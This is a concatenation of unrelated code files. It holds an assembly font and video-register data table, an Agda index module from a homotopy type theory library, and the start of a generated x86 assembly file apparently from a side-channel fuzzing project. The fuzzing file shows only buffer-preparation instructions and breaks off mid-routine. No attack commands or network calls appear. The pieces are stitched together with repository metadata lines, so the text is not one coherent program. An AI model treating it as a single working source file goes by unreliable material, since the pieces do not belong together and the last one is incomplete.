db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
YMMM_CMD:
YMMM_CMD_SYL: db 0x00 ; R34
YMMM_CMD_SYH: db 0x00 ; R35
YMMM_CMD_DXL: db 0x00 ; R36
YMMM_CMD_DXH: db 0x00 ; R37
YMMM_CMD_DYL: db 0x00 ; R38
YMMM_CMD_DYH: db 0x00 ; R39
YMMM_CMD_NXL: db 0x00 ; R40, YMMM doesn't use but it is faster to send 0 here
YMMM_CMD_NXH: db 0x00 ; R41, YMMM doesn't use but it is faster to send 0 here
YMMM_CMD_NYL: db 0x00 ; R42
YMMM_CMD_NYH: db 0x00 ; R43
YMMM_CMD_CLR: db 0x00 ; R44, YMMM doesn't use but it is faster to send 0 here
YMMM_CMD_ARG: db 0x00 ; R45
YMMM_CMD_CMD: db 0xE0 ; R46
YMMM_CMD_NYL2: db 0x00 ; R42 for split operation second step
ANSI_PAL:
db 0x00,0x00,0x50,0x00,0x00,0x05,0x50,0x02,0x05,0x00,0x55,0x00,0x05,0x05,0x55,0x05
db 0x22,0x02,0x72,0x02,0x22,0x07,0x72,0x07,0x27,0x02,0x77,0x02,0x27,0x07,0x77,0x07
SPRITE_TABLE:
db 0x00,0x00,0x00,0x00 ; Cursor is first, start at line 0, colum 0, uses pattern 0 reserved byte whatever
db 0xD8,0x00,0x01,0x00 ; Next line D8 to make invisible, use pattern 1 (all 0)
PATTERN_CURSOR:
db 0x00,0x00,0x00,0x00,0x00,0xE0,0xE0,0x00
PATTERN_INVISIBLE:
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
SPRITE_COLORS:
db 0x20,0x20,0x20,0x20,0x20,0x27,0x27,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20
db 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20
FontData:
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ;000 / 0x00 - NUL - Not printable
db 0x3C,0x40,0xA4,0x80,0xA4,0x98,0x40,0x3C ;001 / 0x01 - Smile face
db 0x78,0xFC,0xB4,0xFC,0xB4,0xCC,0xFC,0x00 ;002 / 0x02 - Dark Smile Face
db 0x6C,0xFC,0xFC,0xFC,0x7C,0x38,0x10,0x00 ;003 / 0x03 - Heart
db 0x10,0x38,0x7C,0xFC,0x7C,0x38,0x10,0x00 ;004 / 0x04 - Diamond
db 0x10,0x38,0x54,0xFC,0x54,0x10,0x38,0x00 ;005 / 0x05 - Club
db 0x10,0x38,0x7C,0xFC,0xFC,0x10,0x38,0x00 ;006 / 0x06 - Spade
db 0x00,0x00,0x00,0x30,0x30,0x00,0x00,0x00 ;007 / 0x07 - Bell, not printable
db 0xFC,0xFC,0xFC,0xE4,0xE4,0xFC,0xFC,0xFC ;008 / 0x08 - Backspace, not printable
db 0x38,0x44,0x80,0x80,0x80,0x44,0x38,0x00 ;009 / 0x09 - Tab, not printable
db 0xC4,0xB8,0x7C,0x7C,0x7C,0xB8,0xC4,0xFC ;010 / 0x0A - Line Feed, not printable
db 0x38,0x08,0x28,0x70,0x88,0x88,0x88,0x70 ;011 / 0x0B - Male Sign
db 0x38,0x44,0x44,0x44,0x38,0x10,0x7C,0x10 ;012 / 0x0C - Form Feed, not printable, clear screen
db 0x30,0x28,0x24,0x24,0x28,0x20,0xE0,0xC0 ;013 / 0x0D - Carriage Return, not printable
db 0x3C,0x24,0x3C,0x24,0x24,0xE4,0xDC,0x18 ;014 / 0x0E - Beamed note
db 0x10,0x54,0x38,0xEC,0x38,0x54,0x10,0x00 ;015 / 0x0F - Sun Ray
db 0x40,0x60,0x70,0x78,0x70,0x60,0x40,0x00 ;016 / 0x10 - Arrow tip to right
db 0x10,0x30,0x70,0xF0,0x70,0x30,0x10,0x00 ;017 / 0x11 - Arrow tip to left
db 0x20,0x70,0xA8,0x20,0x20,0xA8,0x70,0x20 ;018 / 0x12 - UpDown arrow
db 0x48,0x48,0x48,0x48,0x00,0x48,0x48,0x00 ;019 / 0x13 - Double Exclamation Mark
db 0x7C,0xE1,0xE1,0x28,0x28,0x28,0x28,0x00 ;020 / 0x14 - Pilcrow
db 0x18,0x24,0x30,0x48,0x48,0x30,0x90,0x60 ;021 / 0x15 - Section Sign
db 0x00,0x00,0x00,0xFC,0xFC,0x00,0x00,0x00 ;022 / 0x16 - Black Rectangle
db 0x20,0x70,0xA8,0x20,0x20,0xA8,0x70,0xFC ;023 / 0x17 - UpDown arrow with base
db 0x20,0x70,0xA8,0x20,0x20,0x20,0x20,0x00 ;024 / 0x18 - Arrow Up
db 0x20,0x20,0x20,0x20,0xA8,0x70,0x20,0x00 ;025 / 0x19 - Arrow Down
db 0x00,0xC0,0x30,0xF8,0x30,0xC0,0x00,0x00 ;026 / 0x1A - Arrow Right
db 0x00,0x18,0x60,0xF8,0x60,0x18,0x00,0x00 ;027 / 0x1B - ESC, not printables
db 0x00,0x40,0x40,0x40,0x40,0x7C,0x00,0x00 ;028 / 0x1C - Right Angle
db 0x00,0x00,0x20,0x48,0xFC,0x48,0x10,0x00 ;029 / 0x1D - Left-Right Arrow
db 0x20,0x20,0x70,0x70,0xF8,0xF8,0x00,0x00 ;030 / 0x1E - Arrow tip up
db 0xF8,0xF8,0x70,0x70,0x20,0x20,0x00,0x00 ;031 / 0x1F - Arrow tip down
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ;032 / 0x20 - Space
db 0x20,0x20,0x20,0x20,0x00,0x00,0x20,0x00 ;033 / 0x21 -
db 0x50,0x50,0x50,0x00,0x00,0x00,0x00,0x00 ;034 / 0x22 -
db 0x50,0x50,0xF8,0x50,0xF8,0x50,0x50,0x00 ;035 / 0x23 -
db 0x20,0x78,0xA0,0x70,0x28,0xF0,0x20,0x00 ;036 / 0x24 -
db 0xC0,0xC8,0x10,0x20,0x40,0x98,0x18,0x00 ;037 / 0x25 -
db 0x40,0xA0,0x40,0xA8,0x90,0x98,0x60,0x00 ;038 / 0x26 -
db 0x10,0x20,0x40,0x00,0x00,0x00,0x00,0x00 ;039 / 0x27 -
db 0x10,0x20,0x40,0x40,0x40,0x20,0x10,0x00 ;040 / 0x28 -
db 0x40,0x20,0x10,0x10,0x10,0x20,0x40,0x00 ;041 / 0x29 -
db 0x20,0xA8,0x70,0x20,0x70,0xA8,0x20,0x00 ;042 / 0x2A -
db 0x00,0x20,0x20,0xF8,0x20,0x20,0x00,0x00 ;043 / 0x2B -
db 0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x40 ;044 / 0x2C -
db 0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x00 ;045 / 0x2D -
db 0x00,0x00,0x00,0x00,0x00,0x60,0x60,0x00 ;046 / 0x2E -
db 0x00,0x00,0x08,0x10,0x20,0x40,0x80,0x00 ;047 / 0x2F -
db 0x70,0x88,0x98,0xA8,0xC8,0x88,0x70,0x00 ;048 / 0x30 -
db 0x20,0x60,0xA0,0x20,0x20,0x20,0xF8,0x00 ;049 / 0x31 -
db 0x70,0x88,0x08,0x10,0x60,0x80,0xF8,0x00 ;050 / 0x32 -
db 0x70,0x88,0x08,0x30,0x08,0x88,0x70,0x00 ;051 / 0x33 -
db 0x10,0x30,0x50,0x90,0xF8,0x10,0x10,0x00 ;052 / 0x34 -
db 0xF8,0x80,0xE0,0x10,0x08,0x10,0xE0,0x00 ;053 / 0x35 -
db 0x30,0x40,0x80,0xF0,0x88,0x88,0x70,0x00 ;054 / 0x36 -
db 0xF8,0x88,0x10,0x20,0x20,0x20,0x20,0x00 ;055 / 0x37 -
db 0x70,0x88,0x88,0x70,0x88,0x88,0x70,0x00 ;056 / 0x38 -
db 0x70,0x88,0x88,0x78,0x08,0x10,0x60,0x00 ;057 / 0x39 -
db 0x00,0x00,0x20,0x00,0x00,0x20,0x00,0x00 ;058 / 0x3A -
db 0x00,0x00,0x20,0x00,0x00,0x20,0x20,0x40 ;059 / 0x3B -
db 0x18,0x30,0x60,0xC0,0x60,0x30,0x18,0x00 ;060 / 0x3C -
db 0x00,0x00,0xF8,0x00,0xF8,0x00,0x00,0x00 ;061 / 0x3D -
db 0xC0,0x60,0x30,0x18,0x30,0x60,0xC0,0x00 ;062 / 0x3E -
db 0x70,0x88,0x08,0x10,0x20,0x00,0x20,0x00 ;063 / 0x3F -
db 0x70,0x88,0x08,0x68,0xA8,0xA8,0x70,0x00 ;064 / 0x40 -
db 0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00 ;065 / 0x41 -
db 0xF0,0x48,0x48,0x70,0x48,0x48,0xF0,0x00 ;066 / 0x42 -
db 0x30,0x48,0x80,0x80,0x80,0x48,0x30,0x00 ;067 / 0x43 -
db 0xE0,0x50,0x48,0x48,0x48,0x50,0xE0,0x00 ;068 / 0x44 -
db 0xF8,0x80,0x80,0xF0,0x80,0x80,0xF8,0x00 ;069 / 0x45 -
db 0xF8,0x80,0x80,0xF0,0x80,0x80,0x80,0x00 ;070 / 0x46 -
db 0x70,0x88,0x80,0xB8,0x88,0x88,0x70,0x00 ;071 / 0x47 -
db 0x88,0x88,0x88,0xF8,0x88,0x88,0x88,0x00 ;072 / 0x48 -
db 0x70,0x20,0x20,0x20,0x20,0x20,0x70,0x00 ;073 / 0x49 -
db 0x38,0x10,0x10,0x10,0x90,0x90,0x60,0x00 ;074 / 0x4A -
db 0x88,0x90,0xA0,0xC0,0xA0,0x90,0x88,0x00 ;075 / 0x4B -
db 0x80,0x80,0x80,0x80,0x80,0x80,0xF8,0x00 ;076 / 0x4C -
db 0x88,0xD8,0xA8,0xA8,0x88,0x88,0x88,0x00 ;077 / 0x4D -
db 0x88,0xC8,0xC8,0xA8,0x98,0x98,0x88,0x00 ;078 / 0x4E -
db 0x70,0x88,0x88,0x88,0x88,0x88,0x70,0x00 ;079 / 0x4F -
db 0xF0,0x88,0x88,0xF0,0x80,0x80,0x80,0x00 ;080 / 0x50 -
db 0x70,0x88,0x88,0x88,0xA8,0x90,0x68,0x00 ;081 / 0x51 -
db 0xF0,0x88,0x88,0xF0,0xA0,0x90,0x88,0x00 ;082 / 0x52 -
db 0x70,0x88,0x80,0x70,0x08,0x88,0x70,0x00 ;083 / 0x53 -
db 0xF8,0x20,0x20,0x20,0x20,0x20,0x20,0x00 ;084 / 0x54 -
db 0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00 ;085 / 0x55 -
db 0x88,0x88,0x88,0x88,0x50,0x50,0x20,0x00 ;086 / 0x56 -
db 0x88,0x88,0x88,0xA8,0xA8,0xD8,0x88,0x00 ;087 / 0x57 -
db 0x88,0x88,0x50,0x20,0x50,0x88,0x88,0x00 ;088 / 0x58 -
db 0x88,0x88,0x88,0x70,0x20,0x20,0x20,0x00 ;089 / 0x59 -
db 0xF8,0x08,0x10,0x20,0x40,0x80,0xF8,0x00 ;090 / 0x5A -
db 0x70,0x40,0x40,0x40,0x40,0x40,0x70,0x00 ;091 / 0x5B -
db 0x00,0x00,0x80,0x40,0x20,0x10,0x08,0x00 ;092 / 0x5C -
db 0x70,0x10,0x10,0x10,0x10,0x10,0x70,0x00 ;093 / 0x5D -
db 0x20,0x50,0x88,0x00,0x00,0x00,0x00,0x00 ;094 / 0x5E -
db 0x00,0x00,0x00,0x00,0x00,0x00,0xF8,0x00 ;095 / 0x5F -
db 0x40,0x20,0x10,0x00,0x00,0x00,0x00,0x00 ;096 / 0x60 -
db 0x00,0x00,0x70,0x08,0x78,0x88,0x78,0x00 ;097 / 0x61 -
db 0x80,0x80,0xB0,0xC8,0x88,0xC8,0xB0,0x00 ;098 / 0x62 -
db 0x00,0x00,0x70,0x88,0x80,0x88,0x70,0x00 ;099 / 0x63 -
db 0x08,0x08,0x68,0x98,0x88,0x98,0x68,0x00 ;100 / 0x64 -
db 0x00,0x00,0x70,0x88,0xF8,0x80,0x70,0x00 ;101 / 0x65 -
db 0x10,0x28,0x20,0xF8,0x20,0x20,0x20,0x00 ;102 / 0x66 -
db 0x00,0x00,0x68,0x98,0x98,0x68,0x08,0x70 ;103 / 0x67 -
db 0x80,0x80,0xF0,0x88,0x88,0x88,0x88,0x00 ;104 / 0x68 -
db 0x20,0x00,0x60,0x20,0x20,0x20,0x70,0x00 ;105 / 0x69 -
db 0x10,0x00,0x30,0x10,0x10,0x10,0x90,0x60 ;106 / 0x6A -
db 0x40,0x40,0x48,0x50,0x60,0x50,0x48,0x00 ;107 / 0x6B -
db 0x60,0x20,0x20,0x20,0x20,0x20,0x70,0x00 ;108 / 0x6C -
db 0x00,0x00,0xD0,0xA8,0xA8,0xA8,0xA8,0x00 ;109 / 0x6D -
db 0x00,0x00,0xB0,0xC8,0x88,0x88,0x88,0x00 ;110 / 0x6E -
db 0x00,0x00,0x70,0x88,0x88,0x88,0x70,0x00 ;111 / 0x6F -
db 0x00,0x00,0xB0,0xC8,0xC8,0xB0,0x80,0x80 ;112 / 0x70 -
db 0x00,0x00,0x68,0x98,0x98,0x68,0x08,0x08 ;113 / 0x71 -
db 0x00,0x00,0xB0,0xC8,0x80,0x80,0x80,0x00 ;114 / 0x72 -
db 0x00,0x00,0x78,0x80,0xF0,0x08,0xF0,0x00 ;115 / 0x73 -
db 0x40,0x40,0xF0,0x40,0x40,0x48,0x30,0x00 ;116 / 0x74 -
db 0x00,0x00,0x90,0x90,0x90,0x90,0x68,0x00 ;117 / 0x75 -
db 0x00,0x00,0x88,0x88,0x88,0x50,0x20,0x00 ;118 / 0x76 -
db 0x00,0x00,0x88,0xA8,0xA8,0xA8,0x50,0x00 ;119 / 0x77 -
db 0x00,0x00,0x88,0x50,0x20,0x50,0x88,0x00 ;120 / 0x78 -
db 0x00,0x00,0x88,0x88,0x98,0x68,0x08,0x70 ;121 / 0x79 -
db 0x00,0x00,0xF8,0x10,0x20,0x40,0xF8,0x00 ;122 / 0x7A -
db 0x18,0x20,0x20,0x40,0x20,0x20,0x18,0x00 ;123 / 0x7B -
db 0x20,0x20,0x20,0x00,0x20,0x20,0x20,0x00 ;124 / 0x7C -
db 0xC0,0x20,0x20,0x10,0x20,0x20,0xC0,0x00 ;125 / 0x7D -
db 0x40,0xA8,0x10,0x00,0x00,0x00,0x00,0x00 ;126 / 0x7E -
db 0x00,0x20,0x50,0x88,0x88,0x88,0xF8,0x00 ;127 / 0x7F -
db 0x70,0x88,0x80,0x80,0x88,0x70,0x20,0x60 ;128 / 0x80 -
db 0x90,0x00,0x00,0x90,0x90,0x90,0x68,0x00 ;129 / 0x81 -
db 0x10,0x20,0x70,0x88,0xF8,0x80,0x70,0x00 ;130 / 0x82 -
db 0x20,0x50,0x70,0x08,0x78,0x88,0x78,0x00 ;131 / 0x83 -
db 0x48,0x00,0x70,0x08,0x78,0x88,0x78,0x00 ;132 / 0x84 -
db 0x20,0x10,0x70,0x08,0x78,0x88,0x78,0x00 ;133 / 0x85 -
db 0x20,0x00,0x70,0x08,0x78,0x88,0x78,0x00 ;134 / 0x86 -
db 0x00,0x70,0x80,0x80,0x80,0x70,0x10,0x60 ;135 / 0x87 -
db 0x20,0x50,0x70,0x88,0xF8,0x80,0x70,0x00 ;136 / 0x88 -
db 0x50,0x00,0x70,0x88,0xF8,0x80,0x70,0x00 ;137 / 0x89 -
db 0x20,0x10,0x70,0x88,0xF8,0x80,0x70,0x00 ;138 / 0x8A -
db 0x50,0x00,0x00,0x60,0x20,0x20,0x70,0x00 ;139 / 0x8B -
db 0x20,0x50,0x00,0x60,0x20,0x20,0x70,0x00 ;140 / 0x8C -
db 0x40,0x20,0x00,0x60,0x20,0x20,0x70,0x00 ;141 / 0x8D -
db 0x50,0x00,0x20,0x50,0x88,0xF8,0x88,0x00 ;142 / 0x8E -
db 0x20,0x00,0x20,0x50,0x88,0xF8,0x88,0x00 ;143 / 0x8F -
db 0x10,0x20,0xF8,0x80,0xF0,0x80,0xF8,0x00 ;144 / 0x90 -
db 0x00,0x00,0x6C,0x10,0x7C,0x90,0x6C,0x00 ;145 / 0x91 -
db 0x3C,0x50,0x90,0x9C,0xF0,0x90,0x9C,0x00 ;146 / 0x92 -
db 0x60,0x90,0x00,0x60,0x90,0x90,0x60,0x00 ;147 / 0x93 -
db 0x90,0x00,0x00,0x60,0x90,0x90,0x60,0x00 ;148 / 0x94 -
db 0x40,0x20,0x00,0x60,0x90,0x90,0x60,0x00 ;149 / 0x95 -
db 0x40,0xA0,0x00,0xA0,0xA0,0xA0,0x50,0x00 ;150 / 0x96 -
db 0x40,0x20,0x00,0xA0,0xA0,0xA0,0x50,0x00 ;151 / 0x97 -
db 0x90,0x00,0x90,0x90,0xB0,0x50,0x10,0xE0 ;152 / 0x98 -
db 0x50,0x00,0x70,0x88,0x88,0x88,0x70,0x00 ;153 / 0x99 -
db 0x50,0x00,0x88,0x88,0x88,0x88,0x70,0x00 ;154 / 0x9A -
db 0x20,0x20,0x78,0x80,0x80,0x78,0x20,0x20 ;155 / 0x9B -
db 0x18,0x24,0x20,0xF8,0x20,0xE0,0x5C,0x00 ;156 / 0x9C -
db 0x88,0x50,0x20,0xF8,0x20,0xF8,0x20,0x00 ;157 / 0x9D -
db 0xC0,0xA0,0xA0,0xC8,0x9C,0x88,0x88,0x8C ;158 / 0x9E -
db 0x18,0x20,0x20,0xF8,0x20,0x20,0x20,0x40 ;159 / 0x9F -
db 0x10,0x20,0x70,0x08,0x78,0x88,0x78,0x00 ;160 / 0xA0 -
db 0x10,0x20,0x00,0x60,0x20,0x20,0x70,0x00 ;161 / 0xA1 -
db 0x20,0x40,0x00,0x60,0x90,0x90,0x60,0x00 ;162 / 0xA2 -
db 0x20,0x40,0x00,0x90,0x90,0x90,0x68,0x00 ;163 / 0xA3 -
db 0x50,0xA0,0x00,0xA0,0xD0,0x90,0x90,0x00 ;164 / 0xA4 -
db 0x28,0x50,0x00,0xC8,0xA8,0x98,0x88,0x00 ;165 / 0xA5 -
db 0x00,0x70,0x08,0x78,0x88,0x78,0x00,0xF8 ;166 / 0xA6 -
db 0x00,0x60,0x90,0x90,0x90,0x60,0x00,0xF0 ;167 / 0xA7 -
db 0x20,0x00,0x20,0x40,0x80,0x88,0x70,0x00 ;168 / 0xA8 -
db 0x00,0x00,0x00,0xF8,0x80,0x80,0x00,0x00 ;169 / 0xA9 -
db 0x00,0x00,0x00,0xF8,0x08,0x08,0x00,0x00 ;170 / 0xAA -
db 0x84,0x88,0x90,0xA8,0x54,0x84,0x08,0x1C ;171 / 0xAB -
db 0x84,0x88,0x90,0xA8,0x58,0xA8,0x3C,0x08 ;172 / 0xAC -
db 0x20,0x00,0x00,0x20,0x20,0x20,0x20,0x00 ;173 / 0xAD -
db 0x00,0x00,0x24,0x48,0x90,0x48,0x24,0x00 ;174 / 0xAE -
db 0x00,0x00,0x90,0x48,0x24,0x48,0x90,0x00 ;175 / 0xAF -
db 0x90,0x48,0x24,0x90,0x48,0x24,0x90,0x48 ;176 / 0xB0 -
db 0xA8,0x54,0xA8,0x54,0xA8,0x54,0xA8,0x54 ;177 / 0xB1 -
db 0x6C,0xB4,0xD8,0x6C,0xB4,0xD8,0x6C,0xB4 ;178 / 0xB2 -
db 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ;179 / 0xB3 -
db 0x20,0x20,0x20,0xE0,0x20,0x20,0x20,0x20 ;180 / 0xB4 -
db 0x20,0x20,0xE0,0x20,0xE0,0x20,0x20,0x20 ;181 / 0xB5 -
db 0x50,0x50,0x50,0xD0,0x50,0x50,0x50,0x50 ;182 / 0xB6 -
db 0x00,0x00,0x00,0xF0,0x50,0x50,0x50,0x50 ;183 / 0xB7 -
db 0x00,0x00,0xE0,0x20,0xE0,0x20,0x20,0x20 ;184 / 0xB8 -
db 0x50,0x50,0xD0,0x10,0xD0,0x50,0x50,0x50 ;185 / 0xB9 -
db 0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50 ;186 / 0xBA -
db 0x00,0x00,0xF0,0x10,0xD0,0x50,0x50,0x50 ;187 / 0xBB -
db 0x50,0x50,0xD0,0x10,0xF0,0x00,0x00,0x00 ;188 / 0xBC -
db 0x50,0x50,0x50,0xF0,0x00,0x00,0x00,0x00 ;189 / 0xBD -
db 0x20,0x20,0xE0,0x20,0xE0,0x00,0x00,0x00 ;190 / 0xBE -
db 0x00,0x00,0x00,0xE0,0x20,0x20,0x20,0x20 ;191 / 0xBF -
db 0x20,0x20,0x20,0x3C,0x00,0x00,0x00,0x00 ;192 / 0xC0 -
db 0x20,0x20,0x20,0xFC,0x00,0x00,0x00,0x00 ;193 / 0xC1 -
db 0x00,0x00,0x00,0xFC,0x20,0x20,0x20,0x20 ;194 / 0xC2 -
db 0x20,0x20,0x20,0x3C,0x20,0x20,0x20,0x20 ;195 / 0xC3 -
db 0x00,0x00,0x00,0xFC,0x00,0x00,0x00,0x00 ;196 / 0xC4 -
db 0x20,0x20,0x20,0xFC,0x20,0x20,0x20,0x20 ;197 / 0xC5 -
db 0x20,0x20,0x3C,0x20,0x3C,0x20,0x20,0x20 ;198 / 0xC6 -
db 0x50,0x50,0x50,0x5C,0x50,0x50,0x50,0x50 ;199 / 0xC7 -
db 0x50,0x50,0x5C,0x40,0x7C,0x00,0x00,0x00 ;200 / 0xC8 -
db 0x00,0x00,0x7C,0x40,0x5C,0x50,0x50,0x50 ;201 / 0xC9 -
db 0x50,0x50,0xDC,0x00,0xFC,0x00,0x00,0x00 ;202 / 0xCA -
db 0x00,0x00,0xFC,0x00,0xDC,0x50,0x50,0x50 ;203 / 0xCB -
db 0x50,0x50,0x5C,0x40,0x5C,0x50,0x50,0x50 ;204 / 0xCC -
db 0x00,0x00,0xFC,0x00,0xFC,0x00,0x00,0x00 ;205 / 0xCD -
db 0x50,0x50,0xDC,0x00,0xDC,0x50,0x50,0x50 ;206 / 0xCE -
db 0x20,0x20,0xFC,0x00,0xFC,0x00,0x00,0x00 ;207 / 0xCF -
db 0x50,0x50,0x50,0xFC,0x00,0x00,0x00,0x00 ;208 / 0xD0 -
db 0x00,0x00,0xFC,0x00,0xFC,0x20,0x20,0x20 ;209 / 0xD1 -
db 0x00,0x00,0x00,0xFC,0x50,0x50,0x50,0x50 ;210 / 0xD2 -
db 0x50,0x50,0x50,0x7C,0x00,0x00,0x00,0x00 ;211 / 0xD3 -
db 0x20,0x20,0x3C,0x20,0x3C,0x00,0x00,0x00 ;212 / 0xD4 -
db 0x00,0x00,0x3C,0x20,0x3C,0x20,0x20,0x20 ;213 / 0xD5 -
db 0x00,0x00,0x00,0x7C,0x50,0x50,0x50,0x50 ;214 / 0xD6 -
db 0x50,0x50,0x50,0xFC,0x50,0x50,0x50,0x50 ;215 / 0xD7 -
db 0x20,0x20,0xFC,0x20,0xFC,0x20,0x20,0x20 ;216 / 0xD8 -
db 0x20,0x20,0x20,0xE0,0x00,0x00,0x00,0x00 ;217 / 0xD9 -
db 0x00,0x00,0x00,0x3C,0x20,0x20,0x20,0x20 ;218 / 0xDA -
db 0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC ;219 / 0xDB -
db 0x00,0x00,0x00,0x00,0xFC,0xFC,0xFC,0xFC ;220 / 0xDC -
db 0xE0,0xE0,0xE0,0xE0,0xE0,0xE0,0xE0,0xE0 ;221 / 0xDD -
db 0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C ;222 / 0xDE -
db 0xFC,0xFC,0xFC,0xFC,0x00,0x00,0x00,0x00 ;223 / 0xDF -
db 0x00,0x00,0x68,0x90,0x90,0x90,0x68,0x00 ;224 / 0xE0 -
db 0x30,0x48,0x48,0x70,0x48,0x48,0x70,0xC0 ;225 / 0xE1 -
db 0xF8,0x88,0x80,0x80,0x80,0x80,0x80,0x00 ;226 / 0xE2 -
db 0xF8,0x50,0x50,0x50,0x50,0x50,0x98,0x00 ;227 / 0xE3 -
db 0xF8,0x88,0x40,0x20,0x40,0x88,0xF8,0x00 ;228 / 0xE4 -
db 0x00,0x00,0x78,0x90,0x90,0x90,0x60,0x00 ;229 / 0xE5 -
db 0x00,0x50,0x50,0x50,0x50,0x68,0x80,0x80 ;230 / 0xE6 -
db 0x00,0x50,0xA0,0x20,0x20,0x20,0x20,0x00 ;231 / 0xE7 -
db 0xF8,0x20,0x70,0xA8,0xA8,0x70,0x20,0xF8 ;232 / 0xE8 -
db 0x20,0x50,0x88,0xF8,0x88,0x50,0x20,0x00 ;233 / 0xE9 -
db 0x70,0x88,0x88,0x88,0x50,0x50,0xD8,0x00 ;234 / 0xEA -
db 0x30,0x40,0x40,0x20,0x50,0x50,0x50,0x20 ;235 / 0xEB -
db 0x00,0x00,0x00,0x50,0xA8,0xA8,0x50,0x00 ;236 / 0xEC -
db 0x08,0x70,0xA8,0xA8,0xA8,0x70,0x80,0x00 ;237 / 0xED -
db 0x38,0x40,0x80,0xF8,0x80,0x40,0x38,0x00 ;238 / 0xEE -
db 0x70,0x88,0x88,0x88,0x88,0x88,0x88,0x00 ;239 / 0xEF -
db 0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0x00 ;240 / 0xF0 -
db 0x20,0x20,0xF8,0x20,0x20,0x00,0xF8,0x00 ;241 / 0xF1 -
db 0xC0,0x30,0x08,0x30,0xC0,0x00,0xF8,0x00 ;242 / 0xF2 -
db 0x18,0x60,0x80,0x60,0x18,0x00,0xF8,0x00 ;243 / 0xF3 -
db 0x10,0x28,0x20,0x20,0x20,0x20,0x20,0x20 ;244 / 0xF4 -
db 0x20,0x20,0x20,0x20,0x20,0x20,0xA0,0x40 ;245 / 0xF5 -
db 0x00,0x20,0x00,0xF8,0x00,0x20,0x00,0x00 ;246 / 0xF6 -
db 0x00,0x50,0xA0,0x00,0x50,0xA0,0x00,0x00 ;247 / 0xF7 -
db 0x00,0x18,0x24,0x24,0x18,0x00,0x00,0x00 ;248 / 0xF8 -
db 0x00,0x30,0x78,0x78,0x30,0x00,0x00,0x00 ;249 / 0xF9 -
db 0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00 ;250 / 0xFA -
db 0x04,0x04,0x08,0x08,0x90,0x70,0x20,0x00 ;251 / 0xFB -
db 0xA0,0x50,0x50,0x50,0x00,0x00,0x00,0x00 ;252 / 0xFC -
db 0x40,0xA0,0x20,0x40,0xE0,0x00,0x00,0x00 ;253 / 0xFD -
db 0x00,0x00,0x30,0x30,0x30,0x30,0x00,0x00 ;254 / 0xFE -
db 0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC,0xFC ;255 / 0xFF -
|
old/index.agda | timjb/HoTT-Agda | 294 | 17349 | <reponame>timjb/HoTT-Agda
{-# OPTIONS --without-K #-}
{-
Imports everything that is not imported by something else.
This is not supposed to be used anywhere, this is just a simple way to
do `make all'
This file is intentionally named index.agda so that
Agda will generate index.html.
-}
module index where
import Base
import Spaces.IntervalProps
import Algebra.F2NotCommutative
import Spaces.LoopSpaceCircle
import Spaces.LoopSpaceDecidableWedgeCircles
import Homotopy.PullbackIsPullback
import Homotopy.PushoutIsPushout
import Homotopy.Truncation
import Sets.QuotientUP
import Spaces.PikSn
import Homotopy.VanKampen
import Homotopy.Cover
import Homotopy.Cover.ExamplePi1Circle
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2820.asm | ljhsiun2/medusa | 9 | 9302 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1e4ee, %rsi
lea addresses_WC_ht+0x1bc66, %rdi
xor $58726, %r10
mov $65, %rcx
rep movsb
nop
nop
nop
nop
nop
and %r12, %r12
lea addresses_D_ht+0xc8ee, %r15
clflush (%r15)
nop
xor $58082, %r8
movb (%r15), %r12b
nop
nop
sub %r8, %r8
lea addresses_WC_ht+0x18c8a, %rcx
nop
nop
xor %r8, %r8
mov $0x6162636465666768, %r10
movq %r10, (%rcx)
and %r12, %r12
lea addresses_D_ht+0x160ee, %rsi
nop
nop
xor $9470, %r8
vmovups (%rsi), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r15
nop
nop
nop
nop
nop
sub $64046, %rsi
lea addresses_D_ht+0xccae, %r10
nop
nop
sub $25327, %rcx
and $0xffffffffffffffc0, %r10
vmovntdqa (%r10), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r12
